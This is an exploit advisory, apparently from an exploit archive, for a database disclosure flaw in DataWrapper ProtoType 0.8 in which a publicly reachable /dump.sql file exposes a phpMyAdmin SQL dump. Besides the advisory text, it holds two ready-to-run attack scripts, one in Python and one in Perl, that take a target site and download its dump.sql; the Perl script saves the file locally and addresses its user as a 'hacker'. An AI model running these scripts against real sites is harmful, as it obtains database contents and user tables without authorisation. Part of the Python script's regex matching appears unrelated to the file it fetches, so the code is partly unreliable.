DataWrapper ProtoType version 0.8 suffers from a database disclosure vulnerability.
5d3b17ef321647a5a5d2c13f2e46cc1e55961e9ee84deaf12364f8caea2c8865
###########################################################################
# Exploit Title : DataWrapper ProtoType 0.8 Database Disclosure Exploit
# Author [ Discovered By ] : KingSkrupellos
# Team : Cyberizm Digital Security Army
# Date : 02/04/2019
# Vendor Homepage : datawrapper.de
# Software Download Link : github.com/datawrapper/datawrapper-prototype/archive/master.zip
# Software Information Link : github.com/datawrapper/datawrapper-prototype
# Software Version : 0.8 and 0.8.1
# Tested On : Windows and Linux
# Category : WebApps
# Exploit Risk : Medium
# Vulnerability Type :
CWE-200 [ Information Exposure ]
CWE-538 [ File and Directory Information Exposure ]
# PacketStormSecurity : packetstormsecurity.com/files/authors/13968
# CXSecurity : cxsecurity.com/author/KingSkrupellos/1/
# Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos
# Acunetix Information Link about => phpMyAdmin SQL dump Web Vulnerability
acunetix.com/vulnerabilities/web/phpmyadmin-sql-dump/
###########################################################################
# Description about Software :
***************************
Datawrapper is a tool that enables to create enticing visualizations in seconds, without any
programming skills. It draws inspiration from ManyEyes and GoogleCharts but remains entirely
open-source and independent from a third-party server. Any developper can add a visualization
type, using (or not) a JavaScript library like D3 or Raphael, and a specific theme.
###########################################################################
# Impact :
***********
* The product stores sensitive information in files or directories that are accessible
to actors outside of the intended control sphere.
* An information exposure is the intentional or unintentional disclosure of information
to an actor that is not explicitly authorized to have access to that information.
* phpMyAdmin is a free software tool written in PHP, intended to handle the administration of
MySQL over the World Wide Web. It can be used to dump a database or a collection of
databases for backup or transfer to another SQL server (not necessarily a MySQL server).
The dump typically contains SQL statements to create the table, populate it, or both.
This file contains an phpMyAdmin SQL dump. This information is highly sensitive and
should not be found on a production system.
Installation :
***********
To install Datawrapper on your server, download all files from GitHub
or do a 'git pull'. Create the appropriate tables in your database using the .sql dump.
Then create a file with your database passwords to be stored in
/actions/passwords.prod.php under the form
//DB credentials
define("DW_HOST", "your_db_hostname");
define("DW_DATABASE", "your_db_name");
define("DW_USERNAME", "your_db_username");
define("DW_PASSWORD", "your_db_password");
//To be used in Amazon Simple Email Service
//If none is defined, the server uses PHP mail() function instead
define("AWS_SECRET", "your_aws_secret");
define("AWS_ACCESS_KEY", "your_aws_key");
//gets the base URL to use in the app
define("BASE_DIR", "your_app_URL");
//Piwik analytics
define("PIWIK_PATH", "path_to_your_piwik_server");
###########################################################################
File :
*****
/datawrapper-prototype/dump.sql
/dump.sql
Information :
************
-- phpMyAdmin SQL Dump
-- version 3.4.5
-- phpmyadmin.net
--
-- Client: localhost
-- Version du serveur: 5.1.36
-- Version de PHP: 5.3.0
Base de données: `datastory`
-- Structure de la table `charts`
-- Structure de la table `users`
###########################################################################
# Database Disclosure Information Exposure Exploit 1 :
***********************************************
#!/usr/bin/python
import string
import re
from urllib2 import Request, urlopen
disc = "/dump.sql"
url = raw_input ("URL: ")
req = Request(url+disc)
rta = urlopen(req)
print "Result"
html = rta.read()
rdo = str(re.findall("resources.*=*", html))
print rdo
exit
###########################################################################
# Database Disclosure Information Exposure Exploit 2 :
***********************************************
#!/usr/bin/perl -w
# Author : KingSkrupellos
# Team : Cyberizm Digital Security Army
use LWP::Simple;
use LWP::UserAgent;
system('cls');
system('DataWrapper ProtoType 0.8 Database Disclosure Exploit');
system('color a');
if(@ARGV < 2)
{
print "[-]How To Use\n\n";
&help; exit();
}
sub help()
{
print "[+] usage1 : perl $0 site.com /path/ \n";
print "[+] usage2 : perl $0 localhost / \n";
}
($TargetIP, $path, $File,) = @ARGV;
$File="dump.sql";
my $url = "http://" . $TargetIP . $path . $File;
print "\n Wait Please Dear Hacker!!! \n\n";
my $useragent = LWP::UserAgent->new();
my $request = $useragent->get($url,":content_file" => "D:/dump.sql");
if ($request->is_success)
{
print "[+] $url Exploited!\n\n";
print "[+] Database saved to D:/dump.sql\n";
exit();
}
else
{
print "[!] Exploiting $url Failed !\n[!] ".$request->status_line."\n";
exit();
}
###########################################################################
# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team
###########################################################################